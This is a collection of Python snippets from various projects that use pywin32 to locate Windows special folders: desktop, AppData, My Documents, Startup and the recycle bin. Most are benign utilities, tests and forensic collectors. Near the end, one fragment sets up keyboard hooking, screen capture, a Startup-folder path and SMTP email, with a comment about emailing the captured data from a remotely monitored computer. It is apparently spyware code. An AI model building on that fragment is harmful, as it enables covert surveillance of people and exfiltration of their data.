def create_shortcut(): import os import sys if os.name != 'nt': sys.exit("Only valid in Windows") import pythoncom from win32com.shell import shell from win32com.shell import shellcon # Refs # - https://github.com/pearu/iocbio/blob/master/installer/utils.py # - https://blog.csdn.net/thundor/article/details/5968581 ilist = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP) dtpath = shell.SHGetPathFromIDList(ilist).decode('utf-8') shortcut = pythoncom.CoCreateInstance( shell.CLSID_ShellLink, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink) launch_path = sys.executable shortcut.SetPath(launch_path) shortcut.SetArguments("-m weditor") shortcut.SetDescription(launch_path) shortcut.SetIconLocation(sys.executable, 0) shortcut.QueryInterface( pythoncom.IID_IPersistFile).Save(dtpath + "\\WEditor.lnk", 0) print("Shortcut created. " + dtpath + "\\WEditor.lnk")
def _minecraft_folder(): """Finds the folder minecraft stores the account credentials in. Copyright (c) 2010 David Rio Vierra Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. """ if sys.platform == "win32": try: import win32com.client objShell = win32com.client.Dispatch("WScript.Shell") appDataDir = objShell.SpecialFolders("AppData") except: try: from win32com.shell import shell, shellcon appDataDir = shell.SHGetPathFromIDListEx( shell.SHGetSpecialFolderLocation( 0, shellcon.CSIDL_APPDATA)) except: appDataDir = os.environ['APPDATA'].decode( sys.getfilesystemencoding()) minecraftDir = os.path.join(appDataDir, u".minecraft") elif sys.platform == "darwin": appDataDir = os.path.expanduser(u"~/Library/Application Support") minecraftDir = os.path.join(appDataDir, u"minecraft") minecraftDir.decode(sys.getfilesystemencoding()) else: appDataDir = os.path.expanduser(u"~") minecraftDir = os.path.expanduser(u"~/.minecraft") return minecraftDir
def json_recycle_bin(self): if self.destination == 'local': with open( self.output_dir + self.computer_name + '_recycle_bin' + self.rand_ext, 'wb') as output: json_writer = get_json_writer(output) header = ["COMPUTER_NAME", "TYPE", "NAME_1", "NAME_2"] idl = shell.SHGetSpecialFolderLocation( 0, shellcon.CSIDL_BITBUCKET) desktop = shell.SHGetDesktopFolder() files = desktop.BindToObject(idl, None, shell.IID_IShellFolder) for bin_file in files: write_to_json(header, [ self.computer_name, 'recycle_bin', files.GetDisplayNameOf( bin_file, shellcon.SHGDN_NORMAL), files.GetDisplayNameOf( bin_file, shellcon.SHGDN_FORPARSING) ], json_writer) close_json_writer(json_writer) record_sha256_logs( self.output_dir + self.computer_name + '_recycle_bin' + self.rand_ext, self.output_dir + self.computer_name + '_sha256.log')
def get_my_documents(): """Return the My Documents folder""" # See: # http://msdn.microsoft.com/en-us/library/windows/desktop/bb776887%28v=vs.85%29.aspx#mydocs # http://msdn.microsoft.com/en-us/library/bb762494%28v=vs.85%29.aspx#csidl_personal try: df = shell.SHGetDesktopFolder() pidl = df.ParseDisplayName( 0, None, "::{450d8fba-ad25-11d0-98a8-0800361b1103}")[1] except pywintypes.com_error as e: if e.hresult == winerror.E_INVALIDARG: # This error occurs when the My Documents virtual folder is not available below the Desktop virtual folder in the file system. # This may be the case if it has been made unavailable using a Group Policy setting. # See http://technet.microsoft.com/en-us/library/cc978354.aspx. pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_PERSONAL) else: raise mydocs = shell.SHGetPathFromIDList(pidl) # TODO: may need to handle window-specific encoding here. #encoding = locale.getdefaultlocale()[1] #if encoding is None: # encoding = "utf-8" return mydocs
def LoadSdk(): # Try to import the appengine code from the system path. try: from google.appengine.api import apiproxy_stub_map except ImportError, e: # Hack to fix reports of import errors on Ubuntu 9.10. if 'google' in sys.modules: del sys.modules['google'] # Not on the system path. Build a list of alternative paths where it may be. # First look within the project for a local copy, then look for where the Mac # OS SDK installs it. paths = [ os.path.join(PARENT_DIR, '.google_appengine'), os.path.join(PARENT_DIR, 'google_appengine'), '/usr/local/google_appengine' ] # Then if on windows, look for where the Windows SDK installed it. for path in os.environ.get('PATH', '').split(';'): path = path.rstrip('\\') if path.endswith('google_appengine'): paths.append(path) try: from win32com.shell import shell from win32com.shell import shellcon id_list = shell.SHGetSpecialFolderLocation( 0, shellcon.CSIDL_PROGRAM_FILES) program_files = shell.SHGetPathFromIDList(id_list) paths.append( os.path.join(program_files, 'Google', 'google_appengine')) except ImportError, e: # Not windows. pass
def ExplorePIDL(): pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP) print("The desktop is at", shell.SHGetPathFromIDList(pidl)) shell.ShellExecuteEx(fMask=shellcon.SEE_MASK_NOCLOSEPROCESS, nShow=win32con.SW_NORMAL, lpClass="folder", lpVerb="explore", lpIDList=pidl) print("Done!")
def test_create_item_with_parent(self): desktop_pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP) desktop_item = shell.SHCreateItemFromIDList(desktop_pidl, shell.IID_IShellItem) sf = shell.SHGetDesktopFolder() flags = shellcon.SHCONTF_FOLDERS | shellcon.SHCONTF_NONFOLDERS children = sf.EnumObjects(0, flags) child_pidl = children.next() item1 = shell.SHCreateItemWithParent(desktop_pidl, None, child_pidl, shell.IID_IShellItem) item2 = shell.SHCreateItemWithParent(None, sf, child_pidl, shell.IID_IShellItem) self.assertShellItemsEqual(item1, item2)
def user_rcpath_win32(): '''return os-specific hgrc search path to the user dir''' userdir = os.path.expanduser('~') if sys.getwindowsversion()[3] != 2 and userdir == '~': # We are on win < nt: fetch the APPDATA directory location and use # the parent directory as the user home dir. appdir = shell.SHGetPathFromIDList( shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_APPDATA)) userdir = os.path.dirname(appdir) return [os.path.join(userdir, 'mercurial.ini'), os.path.join(userdir, '.hgrc')]
def createDesktopLnk(filename,lnkname): shortcut = pythoncom.CoCreateInstance( shell.CLSID_ShellLink, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink) shortcut.SetPath(filename) if os.path.splitext(lnkname)[-1] != '.lnk': lnkname += ".lnk" # get desktop path desktopPath = shell.SHGetPathFromIDList(shell.SHGetSpecialFolderLocation(0,shellcon.CSIDL_DESKTOP)) lnkname = os.path.join(desktopPath,lnkname) shortcut.QueryInterface(pythoncom.IID_IPersistFile).Save(lnkname,0)
def get_recycle_bin(): """Yield a list of files in the recycle bin""" pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_BITBUCKET) desktop = shell.SHGetDesktopFolder() h = desktop.BindToObject(pidl, None, shell.IID_IShellFolder) for item in h: path = h.GetDisplayNameOf(item, shellcon.SHGDN_FORPARSING) if os.path.isdir(path): # Return the contents of a normal directory, but do # not recurse Windows symlinks in the Recycle Bin. yield from FileUtilities.children_in_directory(path, True) yield path
def get_recycle_bin(): """Yield a list of files in the recycle bin""" pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_BITBUCKET) desktop = shell.SHGetDesktopFolder() h = desktop.BindToObject(pidl, None, shell.IID_IShellFolder) for item in h: path = h.GetDisplayNameOf(item, shellcon.SHGDN_FORPARSING) if os.path.isdir(path): for child in FileUtilities.children_in_directory(path, True): yield child yield path else: yield path
def OnIconButton(self, evt): try: if sys.platform == 'win32': # Arno goes win32, find location of "My Pictures" # see http://www.mvps.org/access/api/api0054.htm from win32com.shell import shell pidl = shell.SHGetSpecialFolderLocation(0, 0x27) path = shell.SHGetPathFromIDList(pidl) else: path = os.path.expandvars('$HOME') except Exception, msg: path = '' print_exc()
def factory(cls, shell_entry=core.UNSET, parent_obj=None): if shell_entry is None: return None elif shell_entry is core.UNSET: return ShellFolder(_desktop, []) elif isinstance(shell_entry, ShellEntry): return shell_entry elif isinstance(shell_entry, int): return ShellFolder.from_pidl( shell.SHGetSpecialFolderLocation(0, shell_entry)) else: if isinstance(shell_entry, list): return cls.from_pidl(shell_entry, parent_obj) elif isinstance(shell_entry, basestring): return cls.from_path(shell_entry)
def test_parsing_relative(self): desktop_pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP) desktop_item = shell.SHCreateItemFromIDList(desktop_pidl, shell.IID_IShellItem) sf = shell.SHGetDesktopFolder() flags = shellcon.SHCONTF_FOLDERS | shellcon.SHCONTF_NONFOLDERS children = sf.EnumObjects(0, flags) child_pidl = children.next() name_flags = shellcon.SHGDN_FORPARSING | shellcon.SHGDN_INFOLDER name = sf.GetDisplayNameOf(child_pidl, name_flags) item = shell.SHCreateItemFromRelativeName(desktop_item, name, None, shell.IID_IShellItem) # test the name we get from the item is the same as from the folder. self.assertEqual(name, item.GetDisplayName(name_flags))
def win32_appdata(): # try to use win32 api to get the AppData folder since python doesn't populate os.environ with unicode strings. try: import win32com.client objShell = win32com.client.Dispatch("WScript.Shell") return objShell.SpecialFolders("AppData") except Exception, e: #print "Error while getting AppData folder using WScript.Shell.SpecialFolders: {0!r}".format(e) try: from win32com.shell import shell, shellcon return shell.SHGetPathFromIDListEx( shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_APPDATA)) except Exception, e: #print "Error while getting AppData folder using SHGetSpecialFolderLocation: {0!r}".format(e) return os.environ['APPDATA'].decode(sys.getfilesystemencoding())
def get_desktop_path2(): ''' 返回桌面全路径,末尾不带\ ''' from win32com.shell import shell from win32com.shell import shellcon result = None try: from win32com.shell import shell from win32com.shell import shellcon desktop_path = shell.SHGetPathFromIDList( shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP)) result = desktop_path.decode() except: print(traceback.format_exc()) result = None return result
def user_rcpath(): path = [] try: home = os.path.expanduser('~') if sys.getwindowsversion()[3] != 2 and home == '~': # We are on win < nt: fetch the APPDATA directory location and use # the parent directory as the user home dir. appdir = shell.SHGetPathFromIDList( shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_APPDATA)) home = os.path.dirname(appdir) path.append(os.path.join(home, '.couchapp.conf')) except: home = os.path.expanduser('~') path.append(os.path.join(home, '.couchapp.conf')) userprofile = os.environ.get('USERPROFILE') if userprofile: path.append(os.path.join(userprofile, '.couchapp.conf')) return path
def get_my_documents(): """Return the My Documents folder""" # See: # http://msdn.microsoft.com/en-us/library/windows/desktop/bb776887%28v=vs.85%29.aspx#mydocs # nopep8 # http://msdn.microsoft.com/en-us/library/bb762494%28v=vs.85%29.aspx#csidl_personal # nopep8 try: df = shell.SHGetDesktopFolder() pidl = df.ParseDisplayName( 0, None, "::{450d8fba-ad25-11d0-98a8-0800361b1103}")[1] except pywintypes.com_error, e: if e.hresult == winerror.E_INVALIDARG: # This error occurs when the My Documents virtual folder # is not available below the Desktop virtual folder in the # file system. This may be the case if it has been made # unavailable using a Group Policy setting. See # http://technet.microsoft.com/en-us/library/cc978354.aspx. pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_PERSONAL) else: raise
def csv_recycle_bin(self): ''' Exports the filenames contained in the recycle bin ''' with open( self.output_dir + '\\' + self.computer_name + '_recycle_bin.csv', 'wb') as output: csv_writer = get_csv_writer(output) #output.write('"Computer Name"|"Type"|"Name 1"|"Name 2"\n') idl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_BITBUCKET) desktop = shell.SHGetDesktopFolder() files = desktop.BindToObject(idl, None, shell.IID_IShellFolder) for bin_file in files: write_to_csv([ self.computer_name, 'Recycle Bin', files.GetDisplayNameOf(bin_file, shellcon.SHGDN_NORMAL), files.GetDisplayNameOf(bin_file, shellcon.SHGDN_FORPARSING) ], csv_writer) record_sha256_logs( self.output_dir + '\\' + self.computer_name + '_recycle_bin.csv', self.output_dir + '\\' + self.computer_name + '_sha256.log')
def csv_recycle_bin(self): """Exports the filenames contained in the recycle bin""" with open( self.output_dir + '\\' + self.computer_name + '_recycle_bin.csv', 'wb') as output: csv_writer = get_csv_writer(output) write_to_csv(("COMPUTER_NAME", "TYPE", "NAME_1", "NAME_2"), csv_writer) idl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_BITBUCKET) desktop = shell.SHGetDesktopFolder() files = desktop.BindToObject(idl, None, shell.IID_IShellFolder) for bin_file in files: write_to_csv([ self.computer_name, 'recycle_bin', files.GetDisplayNameOf(bin_file, shellcon.SHGDN_NORMAL), files.GetDisplayNameOf(bin_file, shellcon.SHGDN_FORPARSING) ], csv_writer) record_sha256_logs( self.output_dir + '\\' + self.computer_name + '_recycle_bin.csv', self.output_dir + '\\' + self.computer_name + '_sha256.log')
def __init__(self, config, settings): dispatch.EventDispatcher.__init__(self) self.config = config self.settings = settings self.verbose = settings.headerGetInt("/settings/@verbose") self.pid = None self.commandLine = None self.commandName = None self.pidFile = None self.spawnInDir = None self.ready = False if platform.system() == "Windows": IDLList = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_APPDATA) localData = shell.SHGetPathFromIDList(IDLList) + "\Pok3d" self.pokerrc = localData else: if settings.headerGet("/settings/user/@path"): self.pokerrc = expanduser( settings.headerGet("/settings/user/@path")) else: self.pokerrc = '.'
def test_idlist_roundtrip(self): pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP) item = shell.SHCreateItemFromIDList(pidl, shell.IID_IShellItem) pidl_back = shell.SHGetIDListFromObject(item) self.assertEqual(pidl, pidl_back)
def GetDesktopPath(): ilist = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP) return shell.SHGetPathFromIDList(ilist)
# First look within the project for a local copy, then look for where the Mac # OS SDK installs it. paths = [ os.path.join(PARENT_DIR, '.google_appengine'), os.path.join(PARENT_DIR, 'google_appengine'), '/usr/local/google_appengine' ] # Then if on windows, look for where the Windows SDK installed it. for path in os.environ.get('PATH', '').split(';'): path = path.rstrip('\\') if path.endswith('google_appengine'): paths.append(path) try: from win32com.shell import shell from win32com.shell import shellcon id_list = shell.SHGetSpecialFolderLocation( 0, shellcon.CSIDL_PROGRAM_FILES) program_files = shell.SHGetPathFromIDList(id_list) paths.append(os.path.join(program_files, 'Google', 'google_appengine')) except ImportError, e: # Not windows. pass # Loop through all possible paths and look for the SDK dir. SDK_PATH = None for sdk_path in paths: if os.path.exists(sdk_path): SDK_PATH = os.path.realpath(sdk_path) break if SDK_PATH is None: # The SDK could not be found in any known location. sys.stderr.write("The Google App Engine SDK could not be found!\n") sys.stderr.write("See README for installation instructions.\n")
class Path: PERSONAL_DIR = shell.SHGetPathFromIDList( shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_PERSONAL))
def get_path(folder_id): return shell.SHGetPathFromIDList( shell.SHGetSpecialFolderLocation(0, folder_id))
def getSpecialFolder(csidl): from win32com.shell import shell pidl = shell.SHGetSpecialFolderLocation(0, csidl) folderPath = shell.SHGetPathFromIDList(pidl).decode( locale.getdefaultlocale()[1]) return folderPath
# if they are formatted or joined to a unicode string import sys if sys.platform == "win32": #not sure why win32com is needed if the %APPDATA% var is available try: import win32com.client objShell = win32com.client.Dispatch("WScript.Shell") appDataDir = objShell.SpecialFolders("AppData") except Exception, e: print "Error while getting AppData folder using WScript.Shell.SpecialFolders: {0!r}".format(e) try: from win32com.shell import shell, shellcon appDataDir = shell.SHGetPathFromIDListEx( shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_APPDATA) ) except Exception, e: print "Error while getting AppData folder using SHGetSpecialFolderLocation: {0!r}".format(e) appDataDir = os.environ['APPDATA'].decode(sys.getfilesystemencoding()) minecraftDir = os.path.join(appDataDir, u".minecraft") elif sys.platform == "darwin": appDataDir = os.path.expanduser(u"~/Library/Application Support") minecraftDir = os.path.join(appDataDir, u"minecraft") minecraftDir.decode(sys.getfilesystemencoding()) else: appDataDir = os.path.expanduser(u"~")
import smtplib import pyHook from PIL import ImageGrab from win32com.shell import shell from win32com.shell import shellcon from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.image import MIMEImage sender = '*****@*****.**'#邮件发送方 receiver = '*****@*****.**'#邮件接收方 subject = 'python email test' smtpserver = 'smtp.qq.com'#邮件服务器 username = '******'#邮件用户名 password = '******'#邮件密码 smtp = smtplib.SMTP() startup_path = shell.SHGetPathFromIDList(shell.SHGetSpecialFolderLocation(0,shellcon.CSIDL_STARTUP)) appdata_path = shell.SHGetPathFromIDList(shell.SHGetSpecialFolderLocation(0,shellcon.CSIDL_APPDATA)) def set_shortcut(filename,lnkname,iconname): shortcut = pythoncom.CoCreateInstance( shell.CLSID_ShellLink, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink) shortcut.SetPath(filename) shortcut.SetIconLocation(iconname,0) if os.path.splitext(lnkname)[-1] != '.lnk': lnkname += ".lnk" shortcut.QueryInterface(pythoncom.IID_IPersistFile).Save(lnkname,0) #如果是远程监听某个电脑,可以将获取到的信息通过邮件发出去 def send_email(msg,file_name): msgRoot = MIMEMultipart('related')
def getdesktoppath(): # return 'C:\\Users\\xxx\\Desktop\\' desktop_path = shell.SHGetPathFromIDList( shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP)) return desktop_path + "\\"